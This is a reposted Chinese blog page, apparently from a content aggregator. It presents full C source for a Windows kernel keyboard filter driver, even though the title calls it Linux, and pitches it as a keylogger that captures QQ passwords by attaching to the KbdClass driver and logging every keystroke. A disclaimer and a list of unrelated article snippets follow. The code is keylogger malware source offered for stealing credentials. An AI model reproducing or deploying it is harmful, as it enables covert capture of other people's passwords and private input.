linux系统键盘记录器,可截获到 QQ 密码 键盘记录器源码

由于 QQ 密码做了特殊的保护,所以通过远程注入得到密码框内容以及通过钩子来得到键盘消息均不能探测到 QQ 的密码,但是通过对键盘驱动的过滤却是可以记录下 QQ 密码输入期间的内容,附上源码。

#define DBG 1

#include

#include

#include "KeyMonitor.h"

extern POBJECT_TYPE IoDriverObjectType;

PIO_STACK_LOCATION g_islCompletion;

int g_caps, g_shift, g_num;

unsigned char asciiTbl[]={

0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal

0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,

0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,

0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,

0x32, 0x33, 0x30, 0x2E,

0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //caps

0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,

0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,

0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,

0x32, 0x33, 0x30, 0x2E,

0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift

0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,

0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,

0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,

0x32, 0x33, 0x30, 0x2E,

0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //caps + shift

0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,

0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,

0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,

0x32, 0x33, 0x30, 0x2E

};

NTSTATUS

ObReferenceObjectByName (

__in PUNICODE_STRING ObjectName,

__in ULONG Attributes,

__in_opt PACCESS_STATE AccessState,

__in_opt ACCESS_MASK DesiredAccess,

__in POBJECT_TYPE ObjectType,

__in KPROCESSOR_MODE AccessMode,

__inout_opt PVOID ParseContext,

__out PVOID *Object

);

VOID KMUnload(IN PDRIVER_OBJECT pDriverObject);

NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp);

NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp);

NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp);

NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp);

NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath);

NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp);

NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context);

void KMPrintKey(UCHAR sch);

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)

{

int i = 0;

KdPrint(("This is my driver, Henzox!\n"));

pDriverObject->DriverUnload = KMUnload;

for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION + 1; i++) {

pDriverObject->MajorFunction[i] = KMUnHandleIrp;

}

pDriverObject->MajorFunction[IRP_MJ_CREATE] = KMOpenClose;

pDriverObject->MajorFunction[IRP_MJ_CLOSE] = KMOpenClose;

pDriverObject->MajorFunction[IRP_MJ_PNP] = KMPnp;

pDriverObject->MajorFunction[IRP_MJ_POWER] = KMPower;

pDriverObject->MajorFunction[IRP_MJ_READ] = KMRead;

return KMAddDevice(pDriverObject, puServiceRegPath);

}

VOID KMUnload(IN PDRIVER_OBJECT pDriverObject)

{

PDEVICE_OBJECT tmpDevice;

PMY_DEVICE_EXTENSION myDeviceExtension;

KdPrint(("The unload function is invoked!\n"));

tmpDevice = pDriverObject->DeviceObject;

while (tmpDevice) {

PDEVICE_OBJECT nextDevice;

KdPrint(("delete devobj: 0x%p.\n",tmpDevice));

myDeviceExtension = (PMY_DEVICE_EXTENSION)tmpDevice->DeviceExtension;

// 如果还有完成例程没有执行,则取消掉这个完成例程

if (myDeviceExtension->IslCompletion) {

myDeviceExtension->IslCompletion->CompletionRoutine = NULL;

// 只去掉与完成例程相关的几个标志位,栈内的其它标志位非常重要,不能去除

myDeviceExtension->IslCompletion->Control &= ~(SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_CANCEL | SL_INVOKE_ON_ERROR);

}

IoDetachDevice(myDeviceExtension->AttachedTo);

nextDevice = tmpDevice->NextDevice;

IoDeleteDevice(tmpDevice);

tmpDevice = nextDevice;

}

}

NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp)

{

KdPrint(("Irp: %d\n", IoGetCurrentIrpStackLocation(Irp)->MajorFunction));

IoSkipCurrentIrpStackLocation(Irp);

return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);

}

NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp)

{

KdPrint(("KMOpenClose.\n"));

Irp->IoStatus.Status = STATUS_SUCCESS;

Irp->IoStatus.Information = 0;

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return STATUS_SUCCESS;

}

NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp)

{

PIO_STACK_LOCATION pIo = IoGetCurrentIrpStackLocation(Irp);

KdPrint(("KMPnp.\n"));

switch (pIo->MinorFunction) {

default:

IoSkipCurrentIrpStackLocation(Irp);

IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);

break;

}

return STATUS_SUCCESS;

}

NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp)

{

KdPrint(("KMPower.\n"));

IoSkipCurrentIrpStackLocation(Irp);

PoStartNextPowerIrp(Irp);

return PoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);

}

NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)

{

UNICODE_STRING usObjectName;

PDRIVER_OBJECT KbdDriver;

NTSTATUS status;

PDEVICE_OBJECT tmpDevice, myDevice;

UNICODE_STRING usDeviceName;

WCHAR buff[64];

int index = 0;

PMY_DEVICE_EXTENSION DeviceExtension;

RtlInitUnicodeString(&usObjectName, L"\\Driver\\KbdClass");

status = ObReferenceObjectByName(&usObjectName,

OBJ_CASE_INSENSITIVE,

NULL,

0,

IoDriverObjectType,

KernelMode,

NULL,

(PVOID)&KbdDriver);

if (!NT_SUCCESS(status)) {

KdPrint(("Find the kbd class failed!\n"));

return status;

}

tmpDevice = KbdDriver->DeviceObject;

while (tmpDevice) {

swprintf(buff, L"\\Device\\MyDevice%d", index++);

RtlInitUnicodeString(&usDeviceName, buff);

status = IoCreateDevice(pDriverObject,

sizeof(MY_DEVICE_EXTENSION),

&usDeviceName,

tmpDevice->DeviceType,

tmpDevice->Characteristics,

FALSE,

&myDevice);

if (!NT_SUCCESS(status)) {

ObDereferenceObject(KbdDriver);

return status;

}

KdPrint(("devobj: 0x%p.\n",myDevice));

IoAttachDeviceToDeviceStack(myDevice, tmpDevice);

DeviceExtension = (PMY_DEVICE_EXTENSION)myDevice->DeviceExtension;

DeviceExtension->AttachedTo = tmpDevice;

/* Setup my device */

myDevice->StackSize = tmpDevice->StackSize + 1;

myDevice->Flags |= (tmpDevice->Flags & (DO_BUFFERED_IO));   // 在 IoCreateDevice 时 Flags 会被赋于一些标志,这里应该保留这些标志,(如 DO_DEVICE_HAS_NAME 等,牵涉到引用计数)

tmpDevice = tmpDevice->NextDevice;

}

ObDereferenceObject(KbdDriver);

return STATUS_SUCCESS;

}

NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp)

{

PMY_DEVICE_EXTENSION myDeviceExtension;

//KdPrint(("KMRead.\n"));

myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;

IoCopyCurrentIrpStackLocationToNext(Irp);

/* 只有驱动可以保证在完成例程被调用之前不被卸载的情况下,可以使用 IoSetCompletionRoutine,

如果你不能保证,那么就需要用 IoSetCompletionRoutineEx,让内核来使驱动不被卸载*/

/*IoSetCompletionRoutine(Irp,

KMReadCompletion,

NULL,

TRUE,

TRUE,

TRUE);*/

IoSetCompletionRoutineEx(DeviceObject,

Irp,

KMReadCompletion,

NULL,

TRUE,

TRUE,

TRUE);

myDeviceExtension->IslCompletion = IoGetNextIrpStackLocation(Irp);

return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);

}

NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)

{

PMY_DEVICE_EXTENSION myDeviceExtension;

PUCHAR buff;

int len;

//KdPrint(("KMReadCompletion: Key--0x%p\n", *(PULONG)Irp->AssociatedIrp.SystemBuffer));

/* 该次 IRP 的完成例程已执行,栈会在该函数执行完时自动清空,所以不应该在引用该栈 */

myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;

myDeviceExtension->IslCompletion = NULL;

if (NT_SUCCESS(Irp->IoStatus.Status)) {

// 由于设备标志为 DO_BUFFERED_IO, 内核分配了该缓冲区

buff = Irp->AssociatedIrp.SystemBuffer;

// 返回值一般都保存在 Information 中,即长度

len = Irp->IoStatus.Information;

if (buff[4] == 0) {

/* 键盘被按下 */

switch (buff[2]) {

case 0x3A:

g_caps = (g_caps == 1)?0:1;

break;

case 0x2A:

case 0x36:

g_shift = 1;

break;

case 0x45:

g_num = (g_num == 1)?0:1;

break;

default:

KMPrintKey(buff[2]);

break;

}

} else if (buff[4] == 1) {

/* 键盘被释放 */

switch (buff[2]) {

case 0x2A:

case 0x36:

g_shift = 0;

break;

default: break;

}

}

}

if (Irp->PendingReturned) {

IoMarkIrpPending(Irp);

}

return Irp->IoStatus.Status;

}

void KMPrintKey(UCHAR sch)

{

UCHAR ch = 0;

if ((sch < 0x47) || ((sch >= 0x47 && sch < 0x54) && g_num==0)) {

ch = asciiTbl[sch];

if(g_shift && g_caps)

ch = asciiTbl[sch+84*3];

else if(g_shift==1)

ch = asciiTbl[sch+84*2];

else if(g_caps==1)

ch = asciiTbl[sch+84];

}

if(ch==0x08)

{

//DbgPrint("退格");

}

if (ch >= 0x20 && ch < 0x7F)

{

DbgPrint("%C",ch);

}

}

0b1331709591d260c1c78e86d0c51c18.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/441013.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【牛客 - 2B】树(思维,dp,有坑)

题干&#xff1a; shy有一颗树&#xff0c;树有n个结点。有k种不同颜色的染料给树染色。一个染色方案是合法的&#xff0c;当且仅当对于所有相同颜色的点对(x,y)&#xff0c;x到y的路径上的所有点的颜色都要与x和y相同。请统计方案数。 输入描述: 第一行两个整数n&#xf…

linux安装后启动mysql,linux安装完mysql后启动错误

redhat as 4,使用rpm包安装完mysql的server 跟client后执行以下命令出错。[rootftp etc]# /usr/bin/mysqladmin -u root password new-password/usr/bin/mysqladmin: connect to server at localhost failederror: Cant connect to local MySQL server through socket /var/lib…

linux exchange邮件客户端,Linux中使用Hiri邮件客户端访问Exchange帐户

大家都知道 Microsoft Exchange 是企业级邮件市场占有率第一的产品&#xff0c;早已成为 Top 500 企业首选的邮件服务器和客户端标准配备。随着 Office 365 服务在全球的铺开&#xff0c;Exchange 的市场占有率更是越来越高&#xff0c;不少中小企业甚至个人用户都已经开始使用…

【CodeForces - 1084C】The Fair Nut and String(思维,组合数学)

题干&#xff1a; The Fair Nut found a string ss. The string consists of lowercase Latin letters. The Nut is a curious guy, so he wants to find the number of strictly increasing sequences p1,p2,…,pkp1,p2,…,pk, such that: For each ii (1≤i≤k1≤i≤k), sp…

群辉挂载linux nfs,Debian 9 挂载访问已设置的群晖NFS共享文件目录

说明博主先后尝试了 webdav、Samba方案后&#xff0c;最后毅然决然选择NFS的方案&#xff0c;通过挂载群晖的NFS共享文件目录作为Jellyfin的媒体库&#xff0c;媒体播放通常单个文件都比较大&#xff0c;而webdav在读取过程中需要比较长的缓存时间大文件传输并不友好。之前试过…

【牛客 - 289H】约会(思维,数学,奇偶数,水题)

题干&#xff1a; Hang等了一年&#xff0c;终于&#xff0c;朝气蓬勃的小学妹来了&#xff0c;在开学当天&#xff0c;就成功打入协会迎新群&#xff0c;在Hang的魅力&#xff08;死皮赖脸&#xff09;之下&#xff0c;有个小学妹要和他面基了&#xff0c;小学妹说&#xf…

c语言中调试时go的作用,C语言调用GO

C语言调用GO最近工作中遇到需要在c语言里面调用go语言的需求&#xff0c;总结了一下&#xff0c;下面代码里面的每一个注释都很有用&#xff0c;闲话不多说&#xff0c;直接上代码~示例GO代码&#xff1a;package main // 这个文件一定要在main包下面import "C" // 这…

【CodeForces - 768C】Jon Snow and his Favourite Number(思维,技巧,套路,数学异或,循环节,trick)

题干&#xff1a; Jon Snow now has to fight with White Walkers. He has n rangers, each of which has his own strength. Also Jon Snow has his favourite number x. Each ranger can fight with a white walker only if the strength of the white walker equals his st…

C语言第六次作业指针,c语言第六次作业解析

《c语言第六次作业解析》由会员分享&#xff0c;可在线阅读&#xff0c;更多相关《c语言第六次作业解析(36页珍藏版)》请在人人文库网上搜索。1、c 语言第六次作业解析第六次作业&#xff1a;指针(以下题目如无特殊声明&#xff0c; 请使用指针技术实现 , 尽量不要使用数组作为…

【HDU - 1069】Monkey and Banana (最长下降子序列 + 贪心,最长上升子序列类问题)

题干&#xff1a; A group of researchers are designing an experiment to test the IQ of a monkey. They will hang a banana at the roof of a building, and at the mean time, provide the monkey with some blocks. If the monkey is clever enough, it shall be able …

c 语言定义2维字符串数组赋值,二维数组赋值字符串 c 语言 二维字符串数组赋值问题...

C语言中二维字符数组应该怎样赋值&#xff1f;c语言二维数组如何定义字符串&#xff1f;&#xff1f;&#xff1f;&#xff1f;急。。。二维字符数组的定义格式为&#xff1a;char 数组名[第一维大小][第二维大小]; 例如&#xff1a;char c[3][10]; //定义了一个3行10列的二维字…

【牛客 - 297D】little w and Exchange(上下界贪心)

题干&#xff1a; 旅行到K国的小w发现K国有着很多物美价廉的商品&#xff0c;他想要买一些商品。 结果一掏钱包&#xff0c;包里只剩下n张K国的纸币了&#xff0c;说起来也奇怪&#xff0c;K国纸币并不像其他国家一样都是1元&#xff0c;5元&#xff0c;10元…而是各种奇怪的…

c语言程序设计 doc,《C语言程序设计》.doc

《C语言程序设计》.doc《C语言程序设计》实验 编实验一 C程序的运行环境和运行C程序的方法2实验二 数据类型、运算符和表达式9实验三 最简单的C程序设计14实验四 逻辑结构程序设计20实验五 循环结构程序设计26实验六 数组31实验七 函数39实验八 编译预处理命令45实验九 指针50…

【牛客 - 315F】美丽的项链(线性dp,递推,我为人人)

题干&#xff1a; 妞妞参加了Nowcoder Girl女生编程挑战赛, 但是很遗憾, 她没能得到她最喜欢的黑天鹅水晶项链。 于是妞妞决定自己来制作一条美丽的项链。一条美丽的项链需要满足以下条件: 1、需要使用n种特定的水晶宝珠 2、第i种水晶宝珠的数量不能少于li颗, 也不能多于…

撞球编程c语言,急!C语言编程题——撞球

满意答案#include #include #include int main(){double length,wide,x0,y0,x1,y1;int i;char towards[1500];while(1){memset(towards,0,sizeof(towards));if(scanf("%lf %lf",&wide,&length)EOF)break;scanf("%lf %lf",&x0,&y0);scanf(&…

【牛客 - 315C】排列(思维,贪心,同优则立证明法)

题干&#xff1a; 妞妞得到一个(1~n)的排列p1, p2, p3,...,pn, 听村里的老人牛牛说如果让这个排列变为: 对于所有的1 < i < n, 都满足pi ≠ i, 就可以获得Google Girl Hackathon的入场券。 妞妞仅允许的操作是: 交换排列中两个相邻的元素, 并且妞妞允许做这个操作任意…

镇江 linux技术支持,东云镇江服务器

弹性云服务器 ECS弹性云服务器(Elastic Cloud Server)是一种可随时自助获取、可弹性伸缩的云服务器&#xff0c;帮助用户打造可靠、安全、灵活、高效的应用环境&#xff0c;确保服务持久稳定运行&#xff0c;提升运维效率三年低至5折&#xff0c;多种配置可选了解详情什么是弹性…

*【牛客 - 315D】打车(贪心,同优则立证明法)

题干&#xff1a; 妞妞参加完Google Girl Hackathon之后,打车回到了牛家庄。 妞妞需要支付给出租车司机车费s元。妞妞身上一共有n个硬币&#xff0c;第i个硬币价值为p[i]元。 妞妞想选择尽量多的硬币&#xff0c;使其总价值足以支付s元车费(即大于等于s)。 但是如果从妞妞…

c语言中只能逐个引用6,C语言前面六个练习.doc

C语言前面六个练习第一章 C语言基础知识4&#xff0e;一个函数的函数体可以没有变量定义和执行部分&#xff0c;函数可以是空函数2&#xff0e;一个函数由两部分组成&#xff0c;它们是 函数体 和 函数的说明部分。3&#xff0e;函数体的范围是 大括号以内 。(0级)4&#xff0e…

【牛客 - 289K】这是一个沙雕题III(贪心,思维枚举,技巧trick,计算上下界)

题干&#xff1a; 因为现在的新生太强了&#xff0c;都学会了“dp”&#xff0c;所以就有了这样一个“dp”题&#xff0c;双11时Gugugu有(x&#xff0c;x1,x2....y-1,y)元的抵用券无数张&#xff0c;但是Gugugu有强迫症所以他希望他使用抵扣券正好能够抵扣k元&#xff0c;这…